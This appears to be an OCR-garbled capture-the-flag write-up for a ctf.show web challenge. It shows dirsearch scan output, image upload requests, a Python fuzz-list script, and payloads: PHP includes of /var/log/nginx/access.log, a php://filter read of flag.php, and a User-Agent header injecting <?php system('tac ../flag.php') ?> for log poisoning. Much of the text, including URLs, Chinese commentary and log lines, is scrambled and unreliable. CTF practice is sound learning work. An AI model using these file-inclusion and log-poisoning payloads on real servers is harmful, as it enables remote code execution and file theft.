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Find new prospects by the technologies they use. Reach out to
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@ P glrsearch —u NTTPs:// YiCtsslt—4/l4-4eydb—ascc-tusudysbasla.cnalienge.
tf.show/
usr/share/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resourc
bs is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_r
bsources.html. The pkg_resources package is slated for removal as early as
2025-11-30. Refrain from using this package or pin to Setuptools<8l.
import pkg_resources

B__ B . vO.4.3
C_INRNE C_ || ™)

: php, asp, aspx, jsp, html, htm | HTTP method: GET
: 25 | Wordlist size: 12293

arget: https://91cf381f-U714-Ue95-a3cc-f030U4986a8la.challenge.ctf.show/

10:55:10] Scanning:

P 55:19] 2800~ @B - /flag.php

10:55:20] 403 - 571B - /images/

10:55:20] 301 - 185B - /images —> http://91cf381f-U71U-Ue95-a3cc—F030
986a8la.challenge.ctf.show/images/

10:55:20] 301 - 185B - /js —> http://91cf381f-U71U-Ue95-a3cc—FO30U986
181a.challenge.ctf.show/js/

10:55:20] 403 - 571B - /js/

10:55:25] 301 - 185B - /upload —> http://91cf381f-U714-4e95-a3cc—F030
986a8la.challenge.ctf.show/upload/

10:55:25] 200 - 61B — /upload.php

10:55:25] 200 - 271B - /upload/

WP ULrsearcili —u MNnLLps /7 13/9/U1/70BUDTHOO0STABDHTADCSLLTUO0DLT . ClldLLENYE.
tf.show/upload/
usr/share/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resourc
bs is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_r
bsources.html. The pkg_resources package is slated for removal as early as
2025-11-30. Refrain from using this package or pin to Setuptools<8l.
import pkg_resources

B _ B e Vol 3
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xtensions: php, asp, aspx, jsp, html, htm | HTTP method: GET
hreads: 25 | Wordlist size: 12293
arget: https://13757017-8edb-U4883-aebl-abc322f0562f.challenge.ctf.show/

11:01:37] Scanning: upload/
11:01:47] 260 - 12B - /upload/index.php
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Priority: u=1, i
Connection: keep-alive

—————— WebKitFormBoundary9M3vl2whgvtiHddR
Content-Disposition: form-data; name="file"; filename="100.png"
Content-Type: image/png
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Content-Disposition: form-data; name="file";
Content-Type: image/png
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Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://91cf381f-U714-Ue95-a3cc-f0304986a8la.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br

Priority: u=1, i

Connection: keep*allve

—————— WebKitFormBoundary9M3v12whqvtiHddR

Content-Disposition: form-data; name="file"; filename="100.png"
Content-Type: image/png
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import string

with open("fuzz.txt","w") as file:
for c in string.printable:
file.write(c+'\n")
#HR] e fuzz . ext>XfFinanflag, phpsEcitr, JREENIR
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1045588 T, (HEr DU THEFA, EEEHESE, nginx
IERIA H &2 M /var/log/nginx/access.log, logid i€ 17, {H2
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FEARDN, <?=include '/var/I'.'og/nginx/access.|'.'og'?>

(MRt A] Pl<?=include"ph"."p://filter/convert.base64-
encode/resource=../flag.p"."hp"?>, 5 [ E.)

11.VilFupload & Fhindex.phpFffEUser-Agentrh s liphpi&
A1), Excuteix15%lflag

URL
https://91cf381f-4714-4e95-a3cc-fB304986a81a.challenge.ctf.show/upload/index.php

J» Use POST method MODIFY HEADER

Name Value

Host ~ 91cf381f-4714-4e95-a3cc-f0384 X
Name Value

User-Agent ~ <?php system('tac ../flag.php X
Name Value

Accept ~ text/html,application/xhtml+x X
Name Value

nnnnnn Zlananana ~ 2h_ON 2hin-d @ —h_TWea-a 7 -k X

)ZLLA/5.U (WINAOWS N1 1U.U; W1Nb4; Xo4) APPLeWENKIUS3/.3b (IKH L IVLL, 11IKe GeCKO) Lhrome/s/.u.4430.83 dalal
oad/~userl HTTP/1.1" 200 1627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
'Dec/2025:02:56:30 +0000] "GET /upload/~www HTTP/1.1" 200 1627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
ome/87.0.4280.88 Safari/537.36" 172.12.234.244 - - [09/Dec/2025:02:56:30 +0000] "GET /upload/~web HTTP/1.1"
)1eWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 172.12.234.244 - - [09/Dec/2025:02:5
ndows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 17.
[P/1.1" 200 283 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0" 172.12.234.244 - - |

283 "https://ctf.show/" "$flag="[si o) alstr Rl Az Glfe ettt e aR sl olsfs I ERRER T, */ # @link: https://ctfer.cor

11:40 # @Last Modified by: h1xa # @Date: 2020-09-21 21:31:23 # @Author: h1xa # o ding: utf-8 -*- /*
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